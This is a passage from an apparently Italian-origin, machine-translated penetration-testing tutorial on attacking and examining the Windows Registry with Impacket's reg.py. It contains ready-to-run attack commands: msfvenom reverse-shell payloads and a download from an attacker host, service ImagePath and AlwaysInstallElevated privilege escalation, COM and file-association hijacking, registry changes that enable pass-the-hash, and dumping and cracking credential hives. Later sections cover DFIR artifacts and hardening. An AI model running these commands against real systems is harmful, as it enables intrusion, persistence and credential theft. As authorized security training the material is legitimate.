$acl = Get-Acl "HKLM:\SYSTEM\CurrentControlSet\Services\NomeServizio"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule("NT AUTHORITY\Authenticated Users","FullControl","Allow")
$acl.SetAccessRule($rule)
Set-Acl -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NomeServizio" -AclObject $acl

From Registry Editor: right click on the key → Permissions → same DACL in graphical form.

8.3 Weak Registry Permissions — Practical Exploitation #

MITRE ATT&CK: T1574.011 (Hijack Execution Flow: Services Registry Permissions Weakness). If a low-privileged user has write rights to a key Services running as SYSTEM, can hijack the execution of the service by modifying ImagePath.

List vulnerable keys:

With Sysinternals' AccessChk:

cmd
accesschk.exe /accepteula "authenticated users" -kvuqsw hklm\System\CurrentControlSet\services

With pure PowerShell:

powershell
Get-Acl -Path HKLM:\SYSTEM\CurrentControlSet\Services\<nomeservizio> | fl

With PowerUp.ps1 (automate across the entire tree):

powershell
Import-Module .\PowerUp.ps1
Get-ModifiableRegistryAutoRun

Remotely, before having a shell:

bash
reg.py CORP/utente:Password1@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizioSospetto"

Exploitation:

cmd
:: 1. Prepara un binario (in lab: reverse shell)
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=8888 -f exe -o shell.exe

:: 2. Trasferiscilo sul target
powershell wget http://10.10.14.5/shell.exe -o C:\Users\Public\shell.exe

:: 3. Sovrascrivi ImagePath
reg add "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizioSospetto" /v ImagePath /t REG_EXPAND_SZ /d "C:\Users\Public\shell.exe" /f

:: 4. Riavvia il servizio
net start NomeServizioSospetto

Remotely via reg.py directly:

bash
reg.py CORP/utente:Password1@10.10.10.5 add -keyName "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizioSospetto" -v ImagePath -vt REG_EXPAND_SZ -vd "C:\Users\Public\shell.exe"

This only works if you also have permission to start/restart the service, or if it restarts automatically (crash loop, reboot).

8.4 UAC, Restricted Admin and LocalAccountTokenFilterPolicy #

text
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

Key values: EnableLUA (UAC on/off), LocalAccountTokenFilterPolicy (if 1, a remote local admin gets full token instead of filtered — enables PsExec/WMI lateral movement with local accounts), FilterAdministratorToken.

Check the current status:

bash
reg.py CORP/utente:Password1@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"

Enable bypass for lateral movement (in lab, to demonstrate the impact on a network with multiple local admins with the same password):

bash
reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -v LocalAccountTokenFilterPolicy -vt REG_DWORD -vd 1

With this key to 1, a local admin (not the built-in Administrator, RID 500) authenticated via PsExec/WMI/SMB remotely gets a full token instead of a UAC-filtered one — a necessary condition for many pass-the-hash techniques on lateral movement.

text
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin

Check whether RDP accepts Restricted Admin Mode (pass-the-hash via RDP) authentication.

Enable it to test pass-the-hash via RDP:

bash
reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" -v DisableRestrictedAdmin -vt REG_DWORD -vd 0

0 enable Restricted Admin Mode (the name is counterintuitive: “disable” a 0 means that restricted admin mode is NOT disabled, so it is active). With this active, xfreerdp /pth Authenticate via RDP using only the NTLM hash, never passing the password in clear text.

8.5 AlwaysInstallElevated #

text
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

If both keys are at 1, any user can install packages .msi with SYSTEM privileges — one of the most straightforward and often forgotten escalations in hardening.

bash
reg.py CORP/utente:Password1@10.10.10.5 query -keyName "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" -s

Activate both keys to demonstrate escalation in the lab (in a real-world scenario, they should already exist, created by an admin by mistake—you don't create them on an authorized test target without reason):

bash
reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" -v AlwaysInstallElevated -vt REG_DWORD -vd 1
reg.py CORP/utente:Password1@10.10.10.5 add -keyName "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" -v AlwaysInstallElevated -vt REG_DWORD -vd 1

Exploitation (with both at 1, a malicious MSI installs as SYSTEM even launched by a standard user):

cmd
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f msi -o payload.msi
msiexec /quiet /qn /i payload.msi

9. COM Hijacking and File Association Hijacking #

9.1 COM Hijacking #

MITRE ATT&CK: T1546.015. The Component Object Model is the framework through which Windows programs exchange functionality. Each COM component is identified by a CLSID (GUID), mapped in the registry to a DLL (InprocServer32) or executable (LocalServer32).

text
HKCR\CLSID\{CLSID}\InprocServer32\(Default) = C:\Windows\System32\qualchecosa.dll
HKCR\CLSID\{CLSID}\ProgID = NomeLeggibile.Application

Why it is exploitable: Windows fixes first HKCU\Software\Classes\CLSID and only after HKLM\Software\Classes\CLSID and a non-administrator user can create an entry under its HKCU that points to a legitimate CLSID, and Windows will use that — without elevated privileges.

bash
# Verifica se un CLSID esiste già sotto HKCU (se manca, è "hijackable")
reg.py CORP/utente:Password1@10.10.10.5 query -keyName "HKCU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}"

The CLSID {42aedc87-2188-41fd-b9a3-0c966feabec1} (MruPidlList) is among the most used in real campaigns because it is loaded by explorer.exe at every logon.

Exploitation:

cmd
reg add "HKCU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32" /ve /t REG_SZ /d "C:\Users\Public\payload.dll" /f
reg add "HKCU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Both" /f

Copy ThreadingModel exactly from the original HKLM registration, otherwise the activation breaks (visible crash).

Stealth variant — TreatAs: makes one CLSID be “treated” as another, less monitored than InprocServer32:

cmd
reg add "HKCU\Software\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\TreatAs" /ve /t REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f

Detection: monitor key creation below HKCU\Software\Classes\CLSID\* (Sysmon Event ID 13); a CLSID that should only exist in HKLM but appears in HKCU is a strong indicator; build a baseline (legitimate installs/updates modify COM regularly).

9.2 File Association Hijacking #

text
HKCR\<progid>\shell\open\command

Example: HKCR\txtfile\shell\open\command\(Default) = "%SystemRoot%\system32\NOTEPAD.EXE" "%1".

If this command is replaced, every double-click on that file type executes the payload — often the payload relaunches the original app to avoid raising suspicion (payload.exe "%1" → then invoke notepad).

bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKCR\txtfile\shell\open\command"

Exploitation — Hijacks the opening of .txt files:

bash
reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKCU\Software\Classes\txtfile\shell\open\command" -v "" -vt REG_SZ -vd 'C:\Users\Public\payload.exe "%1"'

Note: write below HKCU\Software\Classes, Not HKCR directly — HKCR is a read-only view resulting from the merge of HKLM e HKCU\Software\Classes (See the hive table in section 1.) Windows resolves the HKCU version first, so even without admin privileges, your entry has priority. The payload receives the path to the original file as %1 and typically relaunches notepad after execution, so as not to arouse suspicion in the victim.

Critical case: extension association .exe same (HKCR\exefile\shell\open\command) — if altered, every executable launched by double-clicking passes through the payload, affecting the user's entire execution surface.


10. Remote Access: RDP, WinRM, LAPS #

Three remote access services, three keys to check before planning lateral movement or pass-the-hash:

ServiceRegistry KeyWhat to check
RDPHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp e ...\fDenyTSConnectionsfDenyTSConnections a 0 = RDP enabled. UserAuthentication indicates whether NLA (Network Level Authentication) is needed
WinRMHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WinRM\ServiceWhether it accepts Basic authentication (clear text over HTTP) or Kerberos/NTLM only — relevant on ports 5985/5986
LAPSHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\LAPSIf LAPS is configured — in combination with GetLAPSPassword Check if you have permission to read the rotated local password.
bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WinRM\Service"
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\LAPS"

11. Forensics and DFIR — evidence of execution #

The log keeps track, often redundantly, of which programs were executed, when, and how many times. These artifacts are the heart of DFIR and also help determine if you've been preceded by another attacker.

11.1 ShellBags — Folder Navigation Traces #

They record details about every folder you open in Explorer, even if the folder or drive no longer exists.

text
C:\Users\<utente>\AppData\Local\Microsoft\Windows\UsrClass.dat
text
HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\Bags
HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\BagMRU

Practical point: remotely via reg.py you don't have a magic “HKCR” of the other user — it goes through HKU\<SID-utente>_Classes\..., the loaded view of UsrClass.dat of that specific user. If the SID does not have a profile _Classes Once loaded, the hive must be extracted offline from the disk file.

Practical use: reconstruct which shares/external drives the user has browsed, identify suspicious folders left by a previous attacker.

bash
reg.py CORP/admin:Password123@10.10.10.5 save -keyName 'HKU\<SID-utente>_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU' -o '\\10.10.14.5\share\bagmru.save'

Analysis with ShellBags Explorer (Eric Zimmerman tools).

11.2 UserAssist — GUI apps with execution counting #

text
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count

Traces programs launched from the Explorer GUI, with execution counts and timestamps. Names encrypted with ROT13.

Two main GUIDs:

  • {CEBFF5CD-ACE2-4F4F-9178-9926F41749EA} — direct execution .exe
  • {F4E57C4B-2036-45F0-A9AB-443BCFE33D9F} — execution through .lnk
powershell
function Decode-ROT13 {
    param($string)
    $string.ToCharArray() | ForEach-Object {
        if ([char]::IsLetter($_)) {
            $code = [int][char]$_
            if (($code -ge 65 -and $code -le 77) -or ($code -ge 97 -and $code -le 109)) { $code += 13 } else { $code -= 13 }
            [char]$code
        } else { $_ }
    } -join ''
}
Decode-ROT13 "abgrcnq.rkr"   # -> notepad.exe

Limitation: Only tracks GUI applications launched from Explorer. No command line, scripts, or scheduled tasks.

11.3 ShimCache (AppCompatCache) #

text
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache\AppCompatCache

Records metadata (path, size, modification date) of any executable, even if it's just displayed in Explorer without being executed. Written on reboot/shutdown—a snapshot of the last pre-shutdown state. Can retain traces of a tool even after it's deleted from disk.

bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" -s

Parsing with AppCompatCacheParser :

bash
AppCompatCacheParser.exe -f SYSTEM --csv output_dir

11.4 Amcache — the richest artifact #

text
C:\Windows\AppCompat\Programs\Amcache.hve

Separate hive (not a classic registry key). Contains path, publisher, first run timestamp, and SHA-1 hash —verifiable on VirusTotal. More reliable than ShimCache because it records the first boot in real time.

It is better to retrieve the file via SMB (smbclient.py) rather than save of reg.py, intended for keys in the standard tree.

Parsing with AmcacheParser :

bash
AmcacheParser.exe -f Amcache.hve --csv output_dir

11.5 BAM / DAM #

text
HKLM\SYSTEM\CurrentControlSet\Services\bam\UserSettings\<SID>
HKLM\SYSTEM\CurrentControlSet\Services\dam\UserSettings\<SID>

Tracks recently run executables by user SID. Resets on reboot or after ~7 days —only useful for very recent activity, complementary to ShimCache/Amcache.

bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Services\bam\UserSettings\S-1-5-21-XXXX" -s

11.6 RecentDocs, TypedPaths, TypedURLs, MRU #

text
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedURLs

RecentDocs = evidence of accesso, non-execution. TypedPaths = paths typed in Explorer. TypedURLs = same for legacy IE/Edge.

MRU KeyTrack
RunMRU (HKCU\...\Explorer\RunMRU)Commands typed in Run (Win+R) — gold in an IR: cmd, powershell -enc, UNC paths remain here even after session closure
OpenSaveMRU / LastVisitedMRUPaths used in Open/Save windows, by application
bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"

11.7 MountPoints2 — Mounting USB and Network Shares #

text
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2

Any volume mounted by the current user: USB (GUID/serial), external drives, mapped shares. Combined with HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR (general enumeration) and HKLM\SYSTEM\MountedDevices (at machine level, seen in persistence), allows to correlate user-device-time.

11.8 Wi-Fi profiles — networks seen by the machine #

text
HKLM\SOFTWARE\Microsoft\WlanSvc\Interfaces\<GUID interfaccia>\Profiles

Lists the SSIDs the machine has connected to over time, along with data such as timestamp and authentication type. The network password immense It's here in plain text: it's encrypted with DPAPI and lives in an XML file under C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\<GUID>\The log tells you “which networks,” not “with which password” — still useful for understanding where the machine has been (office, home, hotel) and whether it has ever connected to unsecured public networks.

bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\WlanSvc\Interfaces" -s

11.9 RDP Servers — Which machines the user connected to #

text
HKCU\Software\Microsoft\Terminal Server Client\Servers

Each subkey is a hostname or IP that the user connected to with the RDP client (mstsc.exe). In a pentest, this tells you what other machines that user administers or uses regularly—often the first clue as to where to move laterally after compromising a privileged account.

bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKCU\Software\Microsoft\Terminal Server Client\Servers" -s

If the user has enabled “remember my credentials” for one of those connections, the password is encrypted via DPAPI and lives in the Credential Manager (not in the registry), but the presence of the entry here confirms that that feature has been used at least once for that host.

11.10 Office — recent files (MRU Files) #

text
HKCU\Software\Microsoft\Office\<versione>\<applicazione>\File MRU

Concrete example for Excel on Office 2016+:

text
HKCU\Software\Microsoft\Office\16.0\Excel\File MRU

Lists the most recently opened files in each Office application, with full path—including files on network shares or locations that may no longer exist. This is useful because, in many companies, Excel spreadsheets or Word documents still contain credentials or sensitive data saved "temporarily": knowing which documents a user has recently opened indicates where to look for that type of information.

bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKCU\Software\Microsoft\Office\16.0\Excel\File MRU" -s

12. Complete workflow: from reg.py to secretsdump, and cracking #

12.1 Dump local credentials #

bash
# 1. Server SMB locale per ricevere le hive
smbserver.py -smb2support share ./loot

# 2. Backup delle hive dal target
reg.py CORP/admin:Password123@10.10.10.5 backup -o '\\10.10.14.5\share'

# 3. Estrazione offline, mai in chiaro sul target
secretsdump.py -sam ./loot/SAM.save -system ./loot/SYSTEM.save -security ./loot/SECURITY.save LOCAL

Quieter than launching secretsdump directly remotely in full mode.

12.2 Backup Operators Scenario (without being an admin) #

If your user is a member of Backup Operators but not local admin, you still have SeBackupPrivilege, which allows you to read SAM/SYSTEM/SECURITY while ignoring standard ACLs.

bash
reg.py peter:'Password123'@10.10.10.5 backup -o '\\10.10.14.5\share'

From the extracted hives, you can retrieve the machine hash or local users, and verify the machine account hash with wmiexec for lateral movement if the target is a domain controller.

12.3 From hashes to passwords: cracking #

Typical secretsdump output:

text
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

Format utente:RID:hash-LM:hash-NTLM:::. Isolate the NTLM hash:

bash
echo -n "8846f7eaee8fb117ad06bdd830b7586c" > hash.txt

Hashcat (mode 1000 = NTLM):

bash
hashcat -m 1000 hash.txt wordlist.txt

John the Ripper:

bash
john --format=nt --wordlist=wordlist.txt hash.txt

If the LM hash is not aad3b435b51404eeaad3b435b51404ee (constant for “no LM password”), the old LM format is still active — crack it first, it reduces the search space for the corresponding NTLM as well.

With the password you obtained, check other services:

bash
evil-winrm -i 10.10.10.5 -u Administrator -p 'PasswordTrovata'

13. Detection, logging and hardening #

13.1 Detection and generated logs #

reg.py, like all Impacket scripts, leaves traces in the Event Logs:

  • Event ID 5145 — access to the named pipe \winreg
  • Event ID 4656/4658 — open/close handle on registry key
  • Start/Stop Service RemoteRegistry if it was not active (Event ID 7036)

A massive query/save activity on the pipe \winreg from a host that does not normally do remote administration, followed by SMB traffic to the outside world, is a strong indicator of a credential dump in progress.

13.2 Defensive Hardening #

  • Disable the service Remote Registry on hosts that do not need it operational
  • Restrict access to \winreg means HKLM\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg\AllowedPaths
  • Tax LocalAccountTokenFilterPolicy a 0 (default) to avoid lateral movement with shared local admins
  • Delete AlwaysInstallElevated from HKLM and HKCU
  • Tax UseLogonCredential a 0 in WDigest (modern default, checks on legacy hosts)
  • Enable RunAsPPL to protect LSASS, and Credential Guard where the hardware supports it
  • Monitor Event ID 5145 on \winreg with SIEM alerting for anomalous accesses
  • Apply least privilege on Backup Operators — equivalent to a path to Domain Admin when combined with SeBackupPrivilege
  • Periodically audit the ACLs below HKLM\SYSTEM\CurrentControlSet\Services with AccessChk or PowerUp
  • Don't install custom services with too broad inherited permissions
  • Treat ShellBags as sensitive data in an IR: they show which shares/disks the attacker has explored

14. Operational checklist #

  1. Check SMB/445 access and available credentials (password, hash, ticket)
  2. First enumerate the machine's identity (OS, computer name, network)
  3. Preliminary query on configuration keys (WDigest, RunAsPPL, AlwaysInstallElevated, LocalAccountTokenFilterPolicy, RestrictedAdmin)
  4. Check ACLs on keys Services with Get-Acl if you are looking for local privesc
  5. Check for suspicious IFEO and COM registrations if the target has already shown signs of compromise
  6. If you need to dump credentials: run local smbserver.py, then reg.py backup
  7. Analyze hives offline with secretsdump — include LSA secrets and cached domain credentials, not just SAM
  8. If relevant, extract ShellBags, UserAssist, ShimCache/Amcache to reconstruct historical activity
  9. Document every key changed with add/delete for post-test recovery
  10. Report missing hardening keys, not just extracted credentials

FAQ #

Does reg.py run without administrator privileges? For queries on unprotected keys yes, but for SAM/SECURITY elevated privileges are required or SeBackupPrivilege.

Is it detectable by an EDR? SMB/RPC traffic to \winreg It is visible at the network and Event Log levels; a modern EDR with rules regarding access to sensitive hives will flag it.

What is the difference between save and backup? save export a single key of your choice, backup It is dedicated to SAM+SYSTEM+SECURITY in a single call.

Is it necessary to install Impacket on the target? No, reg.py runs on the attacker's machine and communicates over the network with the native Windows Remote Registry service.

What's the difference between HKCU and HKU? HKCU is the HKCU of the user you're logged in with; HKU contains the profiles of all logged in users, indexed by SID.

What's the difference between DCC2 and an NTLM hash? An NTLM hash can be used for pass-the-hash; DCC2 cannot—it's only used to verify a typed password offline; it must be cracked.

Does ShimCache prove that a file was executed? Not by itself: it can log a file even if it's just been viewed in Explorer. It needs to be cross-referenced with Amcache, Prefetch, or Event Log.

When should you NOT use reg.py? If you already have an interactive SYSTEM shell, reg.exe Native or direct PowerShell are faster and generate less observable traffic; reg.py makes sense for remote operation without a shell.

Are weak registry permissions common in real-world environments? Less so than in the past, but they are common on custom third-party services (management software, monitoring agents) without explicit ACLs during setup.

Cheat Sheet — summary table of the keys covered #

Registry keyUseTechnique / Reference
HKLM\SAMLocal Account NTLM HashesT1003.002
C:\Windows\System32\config\SAM via Shadow CopyDump SAM without admin privilegesCVE-2021-36934 (HiveNightmare)
HKLM\SECURITY\Policy\SecretsService account pw, DPAPI_SYSTEM, NL$KMT1003.004
HKLM\SECURITY\CacheDomain Cached Credentials (DCC2)mscash2, hashcat -m 2100
HKLM\SYSTEM\...\Lsa\JD\GBG\Skew1\DataBoot key/syskey componentsOffline SAM decryption
...\Winlogon (DefaultUserName/Password/DomainName)Autologon in clearDirect access credentials
...\Control\SecurityProviders\WDigest\UseLogonCredentialClear text password in LSASST1003.001
...\Control\Lsa\RunAsPPLLSASS Protection (PPL)Credential Dump Mitigation
...\Control\DeviceGuard / Lsa\LsaCfgFlagsCredential Guard (VBS)Hardware isolation credentials
...\Policies\System\LocalAccountTokenFilterPolicyRemote UAC token filteringLateral movement with local admins
...\Control\Lsa\DisableRestrictedAdminRDP Restricted Admin ModePass-the-hash via RDP
...\Policies\...\Installer\AlwaysInstallElevated (HKLM+HKCU)Install MSI as SYSTEMImmediate Privesc
...\CurrentVersion\Run / RunOnce / Policies\Explorer\RunClassic AutorunT1547.001
...\Control\Session Manager\BootExecuteRun at pre-desktop bootT1547.001 (variant)
...\Windows\AppInit_DLLs + LoadAppInit_DLLsDLL injection in every GUI processDeprecated, to be verified
...\Control\Session Manager\AppCertDllsDLL injection on each CreateProcessAdvanced persistence
...\Winlogon\Userinit / ShellHijack user session at logonT1547.004
...\Explorer\StartupApproved\RunReal Autorun Approval StatusActive Entry Verification
...\Microsoft\Active Setup\Installed ComponentsExecution on first user loginPer-user persistence
SYSTEM\CurrentControlSet\Services\<nome>Config Services, ImagePathT1574.011 (weak ACL)
...\Image File Execution Options\<processo>Hijack debuggerT1546.012
...\SilentProcessExit\<processo>Trigger on process terminationT1546.012 (variant)
HKCU\...\CLSID\{...}\InprocServer32 / TreatAsCOM HijackingT1546.015
HKCR\<progid>\shell\open\commandFile Association HijackingExecution on file opening
HKU, HKCUUser profiles (active vs. all)Multi-user enumeration
HKLM\SOFTWARE\Wow6432Node32-bit process log viewRegistry Redirector
...\Explorer\UserAssist\{GUID}\CountGUI Execution (ROT13)Evidence of execution
...\Control\Session Manager\AppCompatCacheShimCacheEvidence of execution
%SystemRoot%\AppCompat\Programs\Amcache.hveAmcache (with SHA-1)Evidence of execution
...\Services\bam\UserSettings\<SID>BAM/DAM (recent activity)It resets in ~7 days
...\Explorer\RecentDocs / TypedPaths / TypedURLsRecent user activityEvidence of access
HKCU\...\MountPoints2 / HKLM\SYSTEM\MountedDevicesMounted devices/volumesUSB forensics
...\Explorer\RunMRUCommands typed in RunDFIR, shell/UNC commands
UsrClass.dat → Shell\Bags / BagMRUShellBags — Folder NavigationFile system access forensics

Conclusion #

REG.PY is a compact yet central tool in every advanced phase of a penetration test on Windows and Active Directory environments : from reconning weak configurations to dumping credentials to verifying persistence. Knowing the most important registry keys by heart is as valuable as knowing the tool itself: it's this knowledge that can transform a simple SMB access into a complete assessment of system security during authorized activity.

The Windows Registry is one of the most important components of the Windows operating system, and understanding how it works is essential for Red Teamers , Blue Team professionals , DFIR analysts , and system administrators. Through REG.PY, we explored enumeration, remote administration, persistence, forensics, and registry configuration techniques, highlighting not only the tool's capabilities but also related defensive countermeasures and detection methodologies.

For a deeper dive into the entire Windows and Active Directory security testing toolchain, also check out the articles on SecretsDump , Rubeus , and Credential Dumping.

Disclaimer: All information, examples, and techniques illustrated in this article are published solely for information security education, training, and research purposes . Any activity should be performed only on systems you own or for which you have explicit authorization . Improper use of the knowledge described may violate applicable laws and cause harm to individuals or organizations. Hackita does not encourage or support unauthorized or illegal activities and disclaims any responsibility for any improper use of the published content.


External resources #

#Windows Registry #MS-RRP #CredentialAccess

leave a message

I'm not a robot